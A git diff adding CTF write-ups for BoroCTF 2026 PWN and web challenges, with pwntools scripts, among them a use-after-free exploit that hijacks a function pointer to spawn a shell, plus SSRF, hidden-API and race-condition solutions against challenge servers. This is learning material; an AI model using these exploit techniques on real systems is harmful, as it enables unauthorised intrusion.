diff --git a/2026/BoroCTF/PWN (Binary Exploitation)/Coming Together/README.md b/2026/BoroCTF/PWN (Binary Exploitation)/Coming Together/README.md new file mode 100644 index 0000000..93c9de3 --- /dev/null +++ b/2026/BoroCTF/PWN (Binary Exploitation)/Coming Together/README.md @@ -0,0 +1,75 @@ +### Coming Together + +> **Writeup Author:** kushaln3 + + +| | | +|---|---| +| **Category** | PWN | +| **Points** | 100 | +| **Solves** | 417 | +| **Author** | Franklin | +| **Connection** | `nc thww9zyp6ygt.boroctf.com 25287` | +| **Challenge URL** | `https://boroctf.com/challenges#Coming%20Together-20` | + +> **Challenge Description:** *"You have yours and I have mine. Together we have something larger than ourselves."* + +> **Deployment Note:** This challenge can be deployed and accessed from [here](https://github.com/boroCTF/boroCTF-2026-public/tree/main/Challenges/boroCTF-2025/pwn/Together). + +#### Initial Reconnaissance + +First, I downloaded the binary: + +```bash +wget https://github.com/jimmy20180130/ctf-writeup/raw/80bb517dc9207faed765d43f2c3a753cccf1ba6a/boroCTF%202026/Pwn/Coming%20Together/chal +``` + +Examining the file details and running sample inputs to observe the program's behavior: + +![image](challenge_files/Pasted%20image%2020260622221435.png) + +I also ran `ltrace` and `gdb` for further analysis: + +![image](challenge_files/Pasted%20image%2020260622221730.png) + +#### Key Observations + +- `fgets(buffer, 12, stdin)` — input is limited to 11 characters (+ null terminator), so our input string length matters. +- `atoi` converts the string to a **signed int**. + +#### Understanding the Vulnerability — Two's Complement + +The program rejects negative numbers. However, `INT_MIN` (`-2147483648`) has a special property in two's complement representation: negating it results in itself (integer overflow). This can bypass the "no negatives" check. + +#### Exploit Script + +```python +from pwn import * + +r = remote("thww9zyp6ygt.boroctf.com", 25287) + +r.recvline() + +r.sendline(b"-2147483648") + +print(r.recvall()) +``` + +#### Output + +``` +┌──(kush㉿LAPTOP-6HND8R6K)-[~/boroctf/PWN/coming_together] +└─$ python script.py +[+] Opening connection to thww9zyp6ygt.boroctf.com on port 25287: Done +[+] Receiving all data: Done (78B) +[*] Closed connection to thww9zyp6ygt.boroctf.com port 25287 +b"No negatives!\nHuh? That's not supposed to happen.\nboroCTF{tw0s_c0mpl3men+_M3}\n" +``` + +#### Flag + +``` +boroCTF{tw0s_c0mpl3men+_M3} +``` + +--- \ No newline at end of file diff --git a/2026/BoroCTF/PWN (Binary Exploitation)/Coming Together/challenge_files/Pasted image 20260622214142.png b/2026/BoroCTF/PWN (Binary Exploitation)/Coming Together/challenge_files/Pasted image 20260622214142.png new file mode 100644 index 0000000..0fa7828 Binary files /dev/null and b/2026/BoroCTF/PWN (Binary Exploitation)/Coming Together/challenge_files/Pasted image 20260622214142.png differ diff --git a/2026/BoroCTF/PWN (Binary Exploitation)/Coming Together/challenge_files/Pasted image 20260622221435.png b/2026/BoroCTF/PWN (Binary Exploitation)/Coming Together/challenge_files/Pasted image 20260622221435.png new file mode 100644 index 0000000..85d7c28 Binary files /dev/null and b/2026/BoroCTF/PWN (Binary Exploitation)/Coming Together/challenge_files/Pasted image 20260622221435.png differ diff --git a/2026/BoroCTF/PWN (Binary Exploitation)/Coming Together/challenge_files/Pasted image 20260622221730.png b/2026/BoroCTF/PWN (Binary Exploitation)/Coming Together/challenge_files/Pasted image 20260622221730.png new file mode 100644 index 0000000..4679072 Binary files /dev/null and b/2026/BoroCTF/PWN (Binary Exploitation)/Coming Together/challenge_files/Pasted image 20260622221730.png differ diff --git a/2026/BoroCTF/PWN (Binary Exploitation)/Fast Reactions/README.md b/2026/BoroCTF/PWN (Binary Exploitation)/Fast Reactions/README.md new file mode 100644 index 0000000..e3c2e75 --- /dev/null +++ b/2026/BoroCTF/PWN (Binary Exploitation)/Fast Reactions/README.md @@ -0,0 +1,67 @@ +### Fast Reactions + +> **Writeup Author:** kushaln3 + + +| | | +|---|---| +| **Category** | PWN | +| **Points** | 100 | +| **Solves** | 216 | +| **Author** | Franklin | +| **Connection** | `nc tnkemaq46125.boroctf.com 56354` | +| **Challenge URL** | `https://boroctf.com/challenges#Fast%20Reactions-18` | + +> **Challenge Description:** A remote service that demands lightning-fast reflexes. Can you respond quickly enough? + +> **Deployment Note:** This challenge can be deployed and accessed from [here](https://github.com/boroCTF/boroCTF-2026-public/tree/main/Challenges/boroCTF-2025/pwn/Fast%20Reactions). + +#### Initial Reconnaissance + +No files were provided — just a server address to connect to via netcat. + +![image](challenge_files/Pasted%20image%2020260622214142.png) + +Upon connecting, we are asked to enter a number of characters, with the required count displayed in hex (e.g., `0xcd`). + +#### Writing the Exploit + +Since this looked like a basic challenge, I decided to learn **pwntools** and write the solution from scratch: + +```python +from pwn import * +context.log_level = 'debug' + +r = remote('tnkemaq46125.boroctf.com', 56354) + +lc = int([word for word in str(r.recvuntil('characters!')).split() if word.startswith('0x')][0], 16) + +r.sendline('A'*lc) + +r.recvall() +``` + +#### Output + +``` +┌──(kush㉿LAPTOP-6HND8R6K)-[~/boroctf] +└─$ /usr/bin/python /home/kush/boroctf/PWN/Fast_Reactions/script.py +[+] Opening connection to tnkemaq46125.boroctf.com on port 56354: Done +[DEBUG] Received 0x1e bytes: + b'Please enter 0xcd characters!\n' +[DEBUG] Sent 0xce bytes: + b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n' +[+] Receiving all data: Done (46B) +[DEBUG] Received 0x2d bytes: + b'Nice job! Flag: boroCTF{Hum@n1y_im7o5s!ble}\n' + b'\n' +[*] Closed connection to tnkemaq46125.boroctf.com port 56354 +``` + +#### Flag + +``` +boroCTF{Hum@n1y_im7o5s!ble} +``` + +--- \ No newline at end of file diff --git a/2026/BoroCTF/PWN (Binary Exploitation)/Fast Reactions/challenge_files/Pasted image 20260622213300.png b/2026/BoroCTF/PWN (Binary Exploitation)/Fast Reactions/challenge_files/Pasted image 20260622213300.png new file mode 100644 index 0000000..c4de21f Binary files /dev/null and b/2026/BoroCTF/PWN (Binary Exploitation)/Fast Reactions/challenge_files/Pasted image 20260622213300.png differ diff --git a/2026/BoroCTF/PWN (Binary Exploitation)/Fast Reactions/challenge_files/Pasted image 20260622213547.png b/2026/BoroCTF/PWN (Binary Exploitation)/Fast Reactions/challenge_files/Pasted image 20260622213547.png new file mode 100644 index 0000000..c0a16da Binary files /dev/null and b/2026/BoroCTF/PWN (Binary Exploitation)/Fast Reactions/challenge_files/Pasted image 20260622213547.png differ diff --git a/2026/BoroCTF/PWN (Binary Exploitation)/Fast Reactions/challenge_files/Pasted image 20260622214142.png b/2026/BoroCTF/PWN (Binary Exploitation)/Fast Reactions/challenge_files/Pasted image 20260622214142.png new file mode 100644 index 0000000..0fa7828 Binary files /dev/null and b/2026/BoroCTF/PWN (Binary Exploitation)/Fast Reactions/challenge_files/Pasted image 20260622214142.png differ diff --git a/2026/BoroCTF/PWN (Binary Exploitation)/Mania/README.md b/2026/BoroCTF/PWN (Binary Exploitation)/Mania/README.md new file mode 100644 index 0000000..23cd48c --- /dev/null +++ b/2026/BoroCTF/PWN (Binary Exploitation)/Mania/README.md @@ -0,0 +1,142 @@ +### Mania + +> **Writeup Author:** kushaln3 + + +| | | +|---|---| +| **Category** | PWN | +| **Points** | 200 | + +> **Challenge Description:** A menu-driven heap challenge with imaginary friends and real people. Can you exploit the memory management to gain a shell? + +> **Deployment Note:** This challenge can be deployed and accessed from [here](https://github.com/boroCTF/boroCTF-2026-public/tree/main/Challenges/boroCTF-2025/pwn/Mania). + +#### Initial Reconnaissance + +I downloaded and extracted the challenge files: + +```bash +wget https://github.com/jimmy20180130/ctf-writeup/raw/80bb517dc9207faed765d43f2c3a753cccf1ba6a/boroCTF%202026/Pwn/Mania/Mania.zip +``` + +Extracted files: `chal`, `Dockerfile`, `friends.c`, `ld-linux-x86-64.so.2`, `libc.so.6`, `run.sh` + +#### Source Code Analysis + +In the C source file, I identified the target function: + +```c +void idealConversation() { + puts("Wow! You made a real connection!"); + system("/bin/sh"); +} +``` + +![image](challenge_files/Pasted%20image%2020260622231456.png) + +#### Understanding the Struct Layout + +Both structs are **72 bytes** — the same size, which is critical for the exploit: + +```c +struct __attribute__((packed)) imaginaryFriend { + double rating; // 8 bytes + char title[32]; // 32 bytes + char special_ability[32]; // 32 bytes +}; // total = 72 bytes + +struct __attribute__((packed)) realPerson { + char firstName[32]; // 32 bytes + char lastName[32]; // 32 bytes + void (*conversate)(); // 8 bytes (function pointer) +}; // total = 72 bytes +``` + +#### Identifying the Vulnerability — Use-After-Free (UAF) + +The program's menu provides five options: + +1. **Imagine friend** — `malloc` an `imaginaryFriend` and fill its fields. +2. **Forget friend** — `free` the `imaginaryFriend` pointer (`IF`). +3. **Meet person** — `malloc` a `realPerson`, fill name fields, set `conversate` to `realConversation`. +4. **Ghost person** — `free` the `realPerson` pointer (`RF`). +5. **Interact** — calls `RF->conversate()` if `RF` is not `NULL`. + +**The bug:** After freeing an object (options 2 or 4), the pointer variable (`IF` or `RF`) is **not set to `NULL`**. The program retains the dangling pointer. If a new object of the same size is allocated, `malloc` will likely return the same memory chunk — but the old pointer still references it as a different type. + +#### Exploit Strategy + +1. **Meet person** → `RF = malloc(72)`, `RF->conversate = realConversation` +2. **Ghost person** → `free(RF)`, but `RF` still holds the freed chunk's address +3. **Imagine friend** → `IF = malloc(72)` reuses the same freed chunk. Writing into `IF->special_ability` overwrites bytes at the offset where `RF->conversate` is stored. +4. **Interact** → calls `RF->conversate()`, which now points to our injected address + +#### Payload Building + +The struct layouts differ, so we need to write the target address to the last 8 bytes of `special_ability` (which overlaps with `conversate` in the `realPerson` struct). + +First, I found the address of `idealConversation`: + +```bash +┌──(kush㉿LAPTOP-6HND8R6K)-[~/boroctf/PWN/mania] +└─$ objdump -d chal | grep idealConversation +0000000000401731 : +``` + +#### Final Exploit + +```python +from pwn import * + +context.log_level = 'debug' +context.binary = './chal' + +ideal_addr = 0x401731 + +r = remote("thww9zyp6ygt.boroctf.com", 44996) + +def menu(opt): + r.recvuntil(b'> ') + r.sendline(str(opt).encode()) + +# Step 1: Meet a person (allocate realPerson) +menu(3) +r.recvuntil(b'Enter firstName:') +r.sendline(b'junk') +r.recvuntil(b'Enter lastName:') +r.sendline(b'junk') + +# Step 2: Ghost person (free realPerson — dangling pointer) +menu(4) + +# Step 3: Imagine friend (reuse freed chunk as imaginaryFriend) +menu(1) +r.recvuntil(b'Enter title:') +r.send(b'A'*31) # 31 A's, NO newline + +# Overwrite the function pointer via special_ability field +r.recvuntil(b'Enter special ability:') +payload = b'B'*24 + p64(ideal_addr)[:7] +r.send(payload) # 31 bytes, NO newline + +# Rating (clean up stdin) +r.recvuntil(b'Enter rating:') +r.sendline(b'1') + +# Wait for confirmation and menu +r.recvuntil(b'(rating 1.0)!') +r.recvuntil(b'> ') + +# Step 4: Interact — triggers the overwritten function pointer +r.sendline(b'5') +r.interactive() +``` + +This gives us a shell, which we use to `ls` and `cat flag.txt`. + +#### Flag + +``` +boroCTF{hYp0M&nic_3xplO1taTio4} +``` \ No newline at end of file diff --git a/2026/BoroCTF/PWN (Binary Exploitation)/Mania/challenge_files/Pasted image 20260622231456.png b/2026/BoroCTF/PWN (Binary Exploitation)/Mania/challenge_files/Pasted image 20260622231456.png new file mode 100644 index 0000000..45c2544 Binary files /dev/null and b/2026/BoroCTF/PWN (Binary Exploitation)/Mania/challenge_files/Pasted image 20260622231456.png differ diff --git a/2026/BoroCTF/PWN (Binary Exploitation)/Next Challenge/README.md b/2026/BoroCTF/PWN (Binary Exploitation)/Next Challenge/README.md new file mode 100644 index 0000000..7452ddf --- /dev/null +++ b/2026/BoroCTF/PWN (Binary Exploitation)/Next Challenge/README.md @@ -0,0 +1,27 @@ +### Next Challenge + +> **Writeup Author:** kushaln3 + + +| | | +|---|---| +| **Category** | PWN | +| **Points** | 100 | + +> **Challenge Description:** A straightforward netcat challenge — just connect and interact. + +> **Deployment Note:** This challenge can be deployed and accessed from [here](https://github.com/boroCTF/boroCTF-2026-public/tree/main/Challenges/boroCTF-2025/pwn/Next%20Challenge). + +#### Solution + +This was a trivial challenge. Simply connect via `nc` and type `flag`: + +![image](challenge_files/Pasted%20image%2020260622224838.png) + +#### Flag + +``` +boroCTF{0nLinE_C@ts*} +``` + +--- \ No newline at end of file diff --git a/2026/BoroCTF/PWN (Binary Exploitation)/Next Challenge/challenge_files/Pasted image 20260622224838.png b/2026/BoroCTF/PWN (Binary Exploitation)/Next Challenge/challenge_files/Pasted image 20260622224838.png new file mode 100644 index 0000000..f0dead7 Binary files /dev/null and b/2026/BoroCTF/PWN (Binary Exploitation)/Next Challenge/challenge_files/Pasted image 20260622224838.png differ diff --git a/2026/BoroCTF/Web Exploitation/Beyond the Homepage/README.md b/2026/BoroCTF/Web Exploitation/Beyond the Homepage/README.md new file mode 100644 index 0000000..4913e9f --- /dev/null +++ b/2026/BoroCTF/Web Exploitation/Beyond the Homepage/README.md @@ -0,0 +1,38 @@ +### Beyond the Homepage + +> **Writeup Author:** kushaln3 + + +| | | +|---|---| +| **Category** | Web | +| **Points** | 100 | +| **Solves** | 667 | +| **Author** | Solarity | +| **Challenge URL** | `https://boroctf.com/challenges#Beyond%20the%20Homepage-11` | + +> **Challenge Description:** A simple website greets you. But is there more beyond what meets the eye? + +> **Deployment Note:** This challenge can be deployed and accessed from [here](https://github.com/boroCTF/boroCTF-2026-public/tree/main/Challenges/boroCTF-2025/web/Beyond%20the%20Homepage). + +#### Initial Reconnaissance + +On opening the site, we are presented with some text. I immediately opened the browser's Developer Tools and examined the source code and cookies. + +![image](challenge_files/Pasted%20image%2020260622101325.png) + +#### Discovery + +The flag was hidden in an HTML comment within `index.html`: + +```html + +``` + +#### Flag + +``` +boroCTF{d3v3l0peR_t001s} +``` + +--- \ No newline at end of file diff --git a/2026/BoroCTF/Web Exploitation/Beyond the Homepage/challenge_files/Pasted image 20260622101325.png b/2026/BoroCTF/Web Exploitation/Beyond the Homepage/challenge_files/Pasted image 20260622101325.png new file mode 100644 index 0000000..fc69b1f Binary files /dev/null and b/2026/BoroCTF/Web Exploitation/Beyond the Homepage/challenge_files/Pasted image 20260622101325.png differ diff --git a/2026/BoroCTF/Web Exploitation/Boro Senpai 1/README.md b/2026/BoroCTF/Web Exploitation/Boro Senpai 1/README.md new file mode 100644 index 0000000..ea8a8fb --- /dev/null +++ b/2026/BoroCTF/Web Exploitation/Boro Senpai 1/README.md @@ -0,0 +1,44 @@ +### Boro Senpai 1 + +> **Writeup Author:** kushaln3 + + +| | | +|---|---| +| **Category** | Web | +| **Points** | 100 | +| **Solves** | 540 | +| **Author** | Solarity | +| **Challenge URL** | `https://boroctf.com/challenges#boro-senpai%201-94` | + +> **Challenge Description:** *"Muhahaha! The Organization thinks they can silence me, but I, Hououin Kyouma, have uncovered a lead. My assistant — the self-proclaimed super hacka — has left traces across a forum..."* + +> **Deployment Note:** This challenge can be deployed and accessed from [here](https://github.com/boroCTF/boroCTF-2026-public/tree/main/Challenges/boroCTF-2025/web/boro-senpai%201). + +#### Initial Reconnaissance + +We are given a Fiorum blog webpage with a user profile panel. Profiles are fetched by visiting: + +``` +https://w03xj6cjsucj.boroctf.com/profile/ +``` + +#### Exploitation + +By browsing visible profiles on the site, I discovered the profile: + +``` +https://w03xj6cjsucj.boroctf.com/profile/KuriGohanandKamehameha +``` + +The flag was embedded in its profile description! + +![image](challenge_files/Pasted%20image%2020260622102429.png) + +#### Flag + +``` +boroCTF{3l_psY_c0ngR00!} +``` + +--- \ No newline at end of file diff --git a/2026/BoroCTF/Web Exploitation/Boro Senpai 1/challenge_files/Pasted image 20260622102429.png b/2026/BoroCTF/Web Exploitation/Boro Senpai 1/challenge_files/Pasted image 20260622102429.png new file mode 100644 index 0000000..6f03c4f Binary files /dev/null and b/2026/BoroCTF/Web Exploitation/Boro Senpai 1/challenge_files/Pasted image 20260622102429.png differ diff --git a/2026/BoroCTF/Web Exploitation/Boro Senpai 2/README.md b/2026/BoroCTF/Web Exploitation/Boro Senpai 2/README.md new file mode 100644 index 0000000..16f6393 --- /dev/null +++ b/2026/BoroCTF/Web Exploitation/Boro Senpai 2/README.md @@ -0,0 +1,45 @@ +### Boro Senpai 2 + +> **Writeup Author:** kushaln3 + + +| | | +|---|---| +| **Category** | Web | +| **Points** | 200 | +| **Author** | Solarity | +| **Challenge URL** | `https://boroctf.com/challenges#boro-senpai%202-95` | + +> **Challenge Description:** A portal with a URL-fetching input box that can access URLs and display their data. An SSRF challenge in disguise. + +> **Deployment Note:** This challenge can be deployed and accessed from [here](https://github.com/boroCTF/boroCTF-2026-public/tree/main/Challenges/boroCTF-2025/web/boro-senpai%202). + +#### Initial Reconnaissance + +We are given a portal containing an input box that accepts URLs and renders their content. + +![image](challenge_files/Pasted%20image%2020260622103215.png) + +Running `ffuf` on the site revealed nothing special — only `robots.txt`, which did not contain useful information. + +![image](challenge_files/Pasted%20image%2020260622104021.png) + +#### Exploitation + +I tried various SSRF payloads: `localhost`, `127.0.0.1`, decimal representations — all of them were blocked. + +Then I tried using `internal-api` as the hostname, because it was mentioned in the site's `script.js` file. + +![image](challenge_files/Pasted%20image%2020260622110442.png) + +It worked! I was able to access the `/flag` endpoint and retrieve the flag. + +![image](challenge_files/Pasted%20image%2020260622110339.png) + +#### Flag + +``` +boroCTF{w1sh_w3_c0uld_g0_2_th3_m00n_t0g3th3r} +``` + +--- \ No newline at end of file diff --git a/2026/BoroCTF/Web Exploitation/Boro Senpai 2/challenge_files/Pasted image 20260622103215.png b/2026/BoroCTF/Web Exploitation/Boro Senpai 2/challenge_files/Pasted image 20260622103215.png new file mode 100644 index 0000000..299aa7f Binary files /dev/null and b/2026/BoroCTF/Web Exploitation/Boro Senpai 2/challenge_files/Pasted image 20260622103215.png differ diff --git a/2026/BoroCTF/Web Exploitation/Boro Senpai 2/challenge_files/Pasted image 20260622104021.png b/2026/BoroCTF/Web Exploitation/Boro Senpai 2/challenge_files/Pasted image 20260622104021.png new file mode 100644 index 0000000..1c71c6a Binary files /dev/null and b/2026/BoroCTF/Web Exploitation/Boro Senpai 2/challenge_files/Pasted image 20260622104021.png differ diff --git a/2026/BoroCTF/Web Exploitation/Boro Senpai 2/challenge_files/Pasted image 20260622110339.png b/2026/BoroCTF/Web Exploitation/Boro Senpai 2/challenge_files/Pasted image 20260622110339.png new file mode 100644 index 0000000..567eaf3 Binary files /dev/null and b/2026/BoroCTF/Web Exploitation/Boro Senpai 2/challenge_files/Pasted image 20260622110339.png differ diff --git a/2026/BoroCTF/Web Exploitation/Boro Senpai 2/challenge_files/Pasted image 20260622110442.png b/2026/BoroCTF/Web Exploitation/Boro Senpai 2/challenge_files/Pasted image 20260622110442.png new file mode 100644 index 0000000..73bd8e6 Binary files /dev/null and b/2026/BoroCTF/Web Exploitation/Boro Senpai 2/challenge_files/Pasted image 20260622110442.png differ diff --git a/2026/BoroCTF/Web Exploitation/Boro Senpai 3/README.md b/2026/BoroCTF/Web Exploitation/Boro Senpai 3/README.md new file mode 100644 index 0000000..1cbb96f --- /dev/null +++ b/2026/BoroCTF/Web Exploitation/Boro Senpai 3/README.md @@ -0,0 +1,103 @@ +### Boro Senpai 3 + +> **Writeup Author:** kushaln3 + + +| | | +|---|---| +| **Category** | Web | +| **Points** | 200 | +| **Author** | Solarity | +| **Challenge URL** | `https://boroctf.com/challenges#boro-senpai%203-96` | + +> **Challenge Description:** A forum page harboring secrets of deleted users. Can you recover what was meant to stay hidden? + +> **Deployment Note:** This challenge can be deployed and accessed from [here](https://github.com/boroCTF/boroCTF-2026-public/tree/main/Challenges/boroCTF-2025/web/boro-senpai%203). + +#### Initial Reconnaissance + +We are given a forum page. Analyzing the `main.js` file reveals a function that can be used to access deleted profiles. + +After trying to find any reference to the target account name on the site, I searched online for the character names and discovered they are all characters from the anime **Rascal Does Not Dream of Bunny Girl Senpai**. + +![image](challenge_files/Pasted%20image%2020260622112744.png) + +The character we were looking for matched the story — it was `mai-sakurajima`. + +#### API Analysis + +I attempted to access her account using the endpoint `/api/user/`: + +![image](challenge_files/Pasted%20image%2020260622112944.png) + +But we received an error. Examining how the JavaScript fetches this URL revealed: + +```javascript +function fetchDeletedProfile(username, cb) { + var url = API_BASE + encodeURIComponent(username) + '?' + window._modFlags.k + '=' + window._modFlags.v; + fetch(url, { credentials: 'same-origin' }) + .then(function (res) { return res.json(); }) + .then(function (data) { if (cb) cb(null, data); }) + .catch(function (err) { if (cb) cb(err, null); }); + } +``` + +We need to append specific query parameters to make it work. I navigated to the deleted user's profile page and inspected the `window._modFlags` variables in the console: + +![image](challenge_files/Pasted%20image%2020260622113932.png) + +#### Exploitation + +The final constructed URL was: + +``` +https://5l24ruh9miuo.boroctf.com/api/user/mai-sakurajima?include_deleted=true +``` + +This returned the flag in the response: + +```json +{ + "bio": "Account suspended per user request. Data retained per moderation policy.", + "deleted_at": "2013/09/01 03:17", + "display_name": "___________ / ___________", + "followers": 94211, + "following": 41, + "joined": "2011/05/20", + "location": "Tokyo, Japan", + "mod_notes": "Soft-deleted 2013-09-01 03:17 JST. Account holder flagged for adolescence syndrome — subject ceased to be perceived by public observers. Deletion requested by management (ref: ticket #AN-20130901-004). Data preserved under internal policy §4.2(c). Do not surface in public search. Mod review pending. -- boroCTF{th@nk_y0u_y0u_d!d_w3ll_!_l0v3_y0U<3}", + "posts": 1337, + "recent_posts": [ + { + "date": "2013/08/31 22:55", + "id": "m-004", + "text": "みんな、今日も覚えていてくれてありがとう。" + }, + { + "date": "2013/08/30 18:20", + "id": "m-003", + "text": "また誰かに無視された。気づいたら独りだった。でも、私はここにいる。" + }, + { + "date": "2013/08/28 14:10", + "id": "m-002", + "text": "撮影の合間にひとりでカフェに来た。誰も気づかない。" + }, + { + "date": "2013/08/25 09:44", + "id": "m-001", + "text": "消えていくような気がする。でも消えたくない。" + } + ], + "status": "deleted", + "username": "mai-sakurajima" +} +``` + +#### Flag + +``` +boroCTF{th@nk_y0u_y0u_d!d_w3ll_!_l0v3_y0U<3} +``` + +--- \ No newline at end of file diff --git a/2026/BoroCTF/Web Exploitation/Boro Senpai 3/challenge_files/Pasted image 20260622110339.png b/2026/BoroCTF/Web Exploitation/Boro Senpai 3/challenge_files/Pasted image 20260622110339.png new file mode 100644 index 0000000..567eaf3 Binary files /dev/null and b/2026/BoroCTF/Web Exploitation/Boro Senpai 3/challenge_files/Pasted image 20260622110339.png differ diff --git a/2026/BoroCTF/Web Exploitation/Boro Senpai 3/challenge_files/Pasted image 20260622110442.png b/2026/BoroCTF/Web Exploitation/Boro Senpai 3/challenge_files/Pasted image 20260622110442.png new file mode 100644 index 0000000..73bd8e6 Binary files /dev/null and b/2026/BoroCTF/Web Exploitation/Boro Senpai 3/challenge_files/Pasted image 20260622110442.png differ diff --git a/2026/BoroCTF/Web Exploitation/Boro Senpai 3/challenge_files/Pasted image 20260622112744.png b/2026/BoroCTF/Web Exploitation/Boro Senpai 3/challenge_files/Pasted image 20260622112744.png new file mode 100644 index 0000000..dbe06a1 Binary files /dev/null and b/2026/BoroCTF/Web Exploitation/Boro Senpai 3/challenge_files/Pasted image 20260622112744.png differ diff --git a/2026/BoroCTF/Web Exploitation/Boro Senpai 3/challenge_files/Pasted image 20260622112944.png b/2026/BoroCTF/Web Exploitation/Boro Senpai 3/challenge_files/Pasted image 20260622112944.png new file mode 100644 index 0000000..2576439 Binary files /dev/null and b/2026/BoroCTF/Web Exploitation/Boro Senpai 3/challenge_files/Pasted image 20260622112944.png differ diff --git a/2026/BoroCTF/Web Exploitation/Boro Senpai 3/challenge_files/Pasted image 20260622113932.png b/2026/BoroCTF/Web Exploitation/Boro Senpai 3/challenge_files/Pasted image 20260622113932.png new file mode 100644 index 0000000..23a1516 Binary files /dev/null and b/2026/BoroCTF/Web Exploitation/Boro Senpai 3/challenge_files/Pasted image 20260622113932.png differ diff --git a/2026/BoroCTF/Web Exploitation/Brunson 45/README.md b/2026/BoroCTF/Web Exploitation/Brunson 45/README.md new file mode 100644 index 0000000..82795c7 --- /dev/null +++ b/2026/BoroCTF/Web Exploitation/Brunson 45/README.md @@ -0,0 +1,113 @@ +### Brunson 45 + +> **Writeup Author:** kushaln3 + + +| | | +|---|---| +| **Category** | Web | +| **Points** | 200 | +| **Author** | Solarity | + +> **Challenge Description:** A basketball shooting game themed around Jalen Brunson. Click to shoot, earn points, and reach 45 to get the flag — but the refs are rigged. + +> **Deployment Note:** This challenge can be deployed and accessed from [here](https://github.com/boroCTF/boroCTF-2026-public/tree/main/Challenges/boroCTF-2026/web/Brunson%2045). + +#### Initial Reconnaissance + +This challenge presented a basketball shooting game. Each click on "shoot" sends a `POST` request to `/api/shoot`, earning 2 points per shot. The goal was to reach a score of 45 to obtain the flag. + +#### Analysis of Anti-Cheat + +I tried automating the requests using Burp Suite Intruder with a null payload, but the server's anti-cheat kicked in: + +```json +{ + "message": "REFEREE TIMEOUT! Shot clock violation! The refs are rigged for the Spurs — Wembanyama shoots 10 free throws. Score WIPED.", + "rigged": true, + "score": 0 +} +``` + +Examining the Python backend source code revealed the anti-cheat logic: + +```python +@app.route('/api/shoot', methods=['POST']) +def shoot(): + token = request.cookies.get('gt') + if not token: + return jsonify({'error': 'no session'}), 400 + + state = get_state(token) + now = time.time() + + # Anti-cheat: shots fired faster than COOLDOWN wipe your score + if now - state['last_shot'] < COOLDOWN: + state['score'] = 0 + state['last_shot'] = now + return jsonify({ + 'score': 0, + 'rigged': True, + 'message': ( + "REFEREE TIMEOUT! Shot clock violation! " + "The refs are rigged for the Spurs — " + "Wembanyama shoots 10 free throws. Score WIPED." + ) + }) + + state['inflight'] = state.get('inflight', 0) + 1 + old_score = state['score'] + time.sleep(RACE_WINDOW) + + new_score = old_score + 2 + concurrent = state['inflight'] > 1 + state['inflight'] = max(0, state['inflight'] - 1) + + if not concurrent and new_score >= 45: + state['score'] = 0 + state['last_shot'] = now + return jsonify({ + 'score': 0, + 'rigged': True, + 'message': ( + "REFEREE TIMEOUT! The refs saw Brunson approaching 45 — " + "Wembanyama gets 10 free throws. Score WIPED." + ) + }) + + state['score'] = new_score + state['last_shot'] = now + + if state['score'] >= 45: + return jsonify({ + 'score': state['score'], + 'flag': FLAG, + 'message': "BRUNSON WITH 45! THE GARDEN IS ELECTRIC!" + }) + + return jsonify({'score': state['score']}) +``` + +#### Understanding the Vulnerability + +To print the flag, we need `score >= 45` **and** `concurrent` to be `True` (i.e., `inflight > 1`). The `time.sleep(RACE_WINDOW)` call creates a deliberate window for a **race condition**. + +**Strategy:** +1. Manually build the score up to 44 (respecting the cooldown). +2. Send **simultaneous** requests using Burp Suite Repeater to make `inflight > 1`, bypassing the "approaching 45" score wipe. + +#### Exploitation + +Initially, sending 2 concurrent requests was not enough. + +![image](challenge_files/Pasted%20image%2020260622134501.png) + +Finally, I turned off Cloudflare WARP and sent 4 simultaneous requests, which successfully triggered the race condition and returned the flag. + +#### Flag + +``` +boroCTF{KN!CK5_1N_5555!!!!!} +``` + +--- \ No newline at end of file diff --git a/2026/BoroCTF/Web Exploitation/Brunson 45/challenge_files/Pasted image 20260622134501.png b/2026/BoroCTF/Web Exploitation/Brunson 45/challenge_files/Pasted image 20260622134501.png new file mode 100644 index 0000000..77d30c1 Binary files /dev/null and b/2026/BoroCTF/Web Exploitation/Brunson 45/challenge_files/Pasted image 20260622134501.png differ diff --git a/2026/BoroCTF/Web Exploitation/Cracking the Vault/README.md b/2026/BoroCTF/Web Exploitation/Cracking the Vault/README.md new file mode 100644 index 0000000..e16d9f8 --- /dev/null +++ b/2026/BoroCTF/Web Exploitation/Cracking the Vault/README.md @@ -0,0 +1,30 @@ +### Cracking the Vault + +> **Writeup Author:** kushaln3 + + +| | | +|---|---| +| **Category** | Web | +| **Points** | 100 | +| **Solves** | 460 | +| **Author** | Solarity | +| **Challenge URL** | `https://boroctf.com/challenges#Cracking%20the%20Vault-91` | + +> **Challenge Description:** A vault-themed page — but how secure is it really? + +> **Deployment Note:** This challenge can be deployed and accessed from [here](https://github.com/boroCTF/boroCTF-2026-public/tree/main/Challenges/boroCTF-2025/web/Cracking%20the%20Vault). + +#### Discovery + +The vault was indeed very secure... at hiding the flag in plaintext in the page source. + +![image](challenge_files/Pasted%20image%2020260622122221.png) + +#### Flag + +``` +boroCTF{th3_p@th_l3ss_tr@vers3d} +``` + +--- \ No newline at end of file diff --git a/2026/BoroCTF/Web Exploitation/Cracking the Vault/challenge_files/Pasted image 20260622122221.png b/2026/BoroCTF/Web Exploitation/Cracking the Vault/challenge_files/Pasted image 20260622122221.png new file mode 100644 index 0000000..d22bf0b Binary files /dev/null and b/2026/BoroCTF/Web Exploitation/Cracking the Vault/challenge_files/Pasted image 20260622122221.png differ diff --git a/2026/BoroCTF/Web Exploitation/Cracking the Vault/challenge_files/Pasted image 20260622134501.png b/2026/BoroCTF/Web Exploitation/Cracking the Vault/challenge_files/Pasted image 20260622134501.png new file mode 100644 index 0000000..77d30c1 Binary files /dev/null and b/2026/BoroCTF/Web Exploitation/Cracking the Vault/challenge_files/Pasted image 20260622134501.png differ diff --git a/2026/BoroCTF/Web Exploitation/Cracking the Vault/challenge_files/Pasted image 20260622134529.png b/2026/BoroCTF/Web Exploitation/Cracking the Vault/challenge_files/Pasted image 20260622134529.png new file mode 100644 index 0000000..77d30c1 Binary files /dev/null and b/2026/BoroCTF/Web Exploitation/Cracking the Vault/challenge_files/Pasted image 20260622134529.png differ diff --git a/2026/BoroCTF/Web Exploitation/Jay W. Tee/README.md 